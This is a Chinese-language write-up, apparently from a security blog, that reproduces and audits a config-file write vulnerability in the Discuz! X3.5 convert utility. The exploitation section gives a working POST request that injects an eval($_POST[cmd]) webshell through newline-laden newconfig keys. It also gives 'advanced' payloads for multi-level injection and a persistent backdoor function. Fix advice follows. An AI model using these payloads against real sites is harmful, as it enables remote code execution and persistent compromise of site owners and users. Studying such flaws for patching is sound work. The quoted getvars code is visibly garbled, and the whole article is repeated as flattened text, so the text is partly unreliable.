Discuz!x——3.5版本漏洞复现&代码审计
字数 1325 2025-08-22 12:22:30

Discuz! X3.5 漏洞复现与代码审计分析

一、漏洞概述

本文详细分析Discuz! X3.5版本中存在的文件写入漏洞,该漏洞位于\utility\convert\目录下的转换工具中,通过精心构造的POST请求可实现任意代码写入,最终可能导致远程代码执行。

二、环境准备

  1. 下载Discuz! X3.5源码:

    • 官方Git仓库:https://gitee.com/Discuz/DiscuzX/attach_files
    • 需要下载主程序包和utility工具包
  2. 搭建测试环境:

    • PHP环境(建议5.6-7.4)
    • MySQL数据库
    • Web服务器(Apache/Nginx)

三、漏洞定位

漏洞核心文件路径:

\Discuz_X3.5_SC_UTF8_20240520\X3.5_utility_20230210\convert\index.php

该文件中存在大量文件包含操作,且$action变量可控,可通过参数控制加载不同的功能文件。

四、代码审计分析

1. 漏洞入口

通过访问/utility/convert/index.php,可以触发转换工具功能。关键参数:

  • a:控制加载的功能模块
  • source:指定转换源版本
  • submit:提交标志

2. 关键函数分析

save_config_file函数

function save_config_file($filename, $config, $default) {
    $config = setdefault($config, $default);
    $date = gmdate("Y-m-d H:i:s", time() + 3600 * 8);
    $year = date('Y');
    $content = <<<EOT
<?php
\$_config = array();
EOT;
    $content .= getvars(array('_config' => $config));
    $content .= "\r\n// ".str_pad(' THE END ', 50, '-', STR_PAD_BOTH)." //\r\n\r\n?>";
    file_put_contents($filename, $content);
}

该函数用于保存配置文件,其中:

  • $config参数部分可控(来自$newconfig
  • 通过getvars()函数处理配置数组
  • 最终使用file_put_contents()写入文件

setdefault函数

function setdefault($var, $default) {
    foreach ($default as $k => $v) {
        if(!isset($var[$k])) {
            $var[$k] = $default[$k];
        } elseif(is_array($v)) {
            $var[$k] = setdefault($var[$k], $default[$k]);
        }
    }
    return $var;
}

该函数将用户输入的$newconfig与默认配置config.default.php合并,确保所有必要配置项都存在。

getvars和buildarray函数

function getvars($data, $type = 'VAR') {
    $evaluate = '';
    foreach($data as $key => $val) {
        if(!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $key)) {
            continue;
        }
        if(is_array($val)) {
            $evaluate .= buildarray($val, 0, "\${$key}")."\r\n";
        } else {
            $val = addcslashes($val, '\'\\');
            $evaluate .= $type == 'VAR' ? "\
$$
key = '$val';\n" : "define('".strtoupper($key)."', '$val');\n";
        }
    }
    return $evaluate;
}

function buildarray($array, $level = 0, $pre = '$_config') {
    static $ks;
    if($level == 0) {
        $ks = array();
        $return = '';
    }
    foreach ($array as $key => $val) {
        if(!preg_match("/^[a-zA-Z0-9_\x7f-\xff]+$/", $key)) {
            continue;
        }
        if($level == 0) {
            $newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH);
            $return .= "\r\n// $newline //\r\n";
        }
        $ks[$level] = $ks[$level - 1]."['$key']";
        if(is_array($val)) {
            $ks[$level] = $ks[$level - 1]."['$key']";
            $return .= buildarray($val, $level + 1, $pre);
        } else {
            $val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? "'".addcslashes($val, '\'\\')."'" : $val;
            $return .= $pre.$ks[$level - 1]."['$key'] = $val;\r\n";
        }
    }
    return $return;
}

这两个函数负责将配置数组转换为PHP代码:

  • getvars()处理顶层数组
  • buildarray()递归处理嵌套数组
  • 关键点:$keybuildarray()中被用于生成注释分隔符,且未过滤换行符

3. 漏洞触发流程

  1. 访问index.php?a=config进入配置页面
  2. 提交POST请求,包含恶意构造的newconfig参数
  3. 通过submitcheck()验证
  4. 调用save_config_file()写入配置文件
  5. 恶意代码通过newconfig的键名注入

五、漏洞利用

1. 利用条件

  • 能够访问/utility/convert/index.php
  • 具有写入权限的目标目录

2. 利用步骤

  1. 构造恶意POST请求:
POST /utility/convert/index.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: [length]

a=config&source=d7.2_x1.5&submit=yes&newconfig[%0a%0deval($_POST[cmd]);//]=shushu
  1. 关键参数说明:
  • a=config:触发配置功能
  • source:指定转换源版本
  • submit=yes:通过提交检查
  • newconfig[恶意键名]=任意值:通过键名注入代码
  1. 成功写入后,文件内容将包含:
<?php
$_config = array();

// ---------------- CONFIG 
eval($_POST[cmd]);// ----------------
$_config['
eval($_POST[cmd]);//'] = 'shushu';

// ----------------------- THE END ----------------------- //

?>

3. 高级利用

  1. 多级注入:
newconfig[%0a%0d/*][test]=*/eval($_GET[x]);//
  1. 持久化后门:
newconfig[%0a%0dfunction%20backdoor(){%20eval($_GET[cmd]);%20}//]=1

六、修复建议

  1. 严格过滤$key中的特殊字符,特别是换行符
  2. 对写入内容进行语法检查
  3. 限制utility目录的访问权限
  4. 升级到最新版本

七、总结

该漏洞源于对用户输入过滤不严,特别是在处理数组键名时未考虑换行符的影响,导致可通过精心构造的键名注入任意PHP代码。开发人员应特别注意:

  • 所有用户输入必须严格过滤
  • 文件写入操作要谨慎处理
  • 数组键名也需要进行安全过滤
Discuz ! X3.5 漏洞复现与代码审计分析 一、漏洞概述 本文详细分析Discuz! X3.5版本中存在的文件写入漏洞,该漏洞位于 \utility\convert\ 目录下的转换工具中,通过精心构造的POST请求可实现任意代码写入,最终可能导致远程代码执行。 二、环境准备 下载Discuz ! X3.5源码: 官方Git仓库:https://gitee.com/Discuz/DiscuzX/attach_ files 需要下载主程序包和utility工具包 搭建测试环境: PHP环境(建议5.6-7.4) MySQL数据库 Web服务器(Apache/Nginx) 三、漏洞定位 漏洞核心文件路径: 该文件中存在大量文件包含操作,且 $action 变量可控,可通过参数控制加载不同的功能文件。 四、代码审计分析 1. 漏洞入口 通过访问 /utility/convert/index.php ,可以触发转换工具功能。关键参数: a :控制加载的功能模块 source :指定转换源版本 submit :提交标志 2. 关键函数分析 save_ config_ file函数 该函数用于保存配置文件,其中: $config 参数部分可控(来自 $newconfig ) 通过 getvars() 函数处理配置数组 最终使用 file_put_contents() 写入文件 setdefault函数 该函数将用户输入的 $newconfig 与默认配置 config.default.php 合并,确保所有必要配置项都存在。 getvars和buildarray函数 这两个函数负责将配置数组转换为PHP代码: getvars() 处理顶层数组 buildarray() 递归处理嵌套数组 关键点: $key 在 buildarray() 中被用于生成注释分隔符,且未过滤换行符 3. 漏洞触发流程 访问 index.php?a=config 进入配置页面 提交POST请求,包含恶意构造的 newconfig 参数 通过 submitcheck() 验证 调用 save_config_file() 写入配置文件 恶意代码通过 newconfig 的键名注入 五、漏洞利用 1. 利用条件 能够访问 /utility/convert/index.php 具有写入权限的目标目录 2. 利用步骤 构造恶意POST请求: 关键参数说明: a=config :触发配置功能 source :指定转换源版本 submit=yes :通过提交检查 newconfig[恶意键名]=任意值 :通过键名注入代码 成功写入后,文件内容将包含: 3. 高级利用 多级注入: 持久化后门: 六、修复建议 严格过滤 $key 中的特殊字符,特别是换行符 对写入内容进行语法检查 限制utility目录的访问权限 升级到最新版本 七、总结 该漏洞源于对用户输入过滤不严,特别是在处理数组键名时未考虑换行符的影响,导致可通过精心构造的键名注入任意PHP代码。开发人员应特别注意: 所有用户输入必须严格过滤 文件写入操作要谨慎处理 数组键名也需要进行安全过滤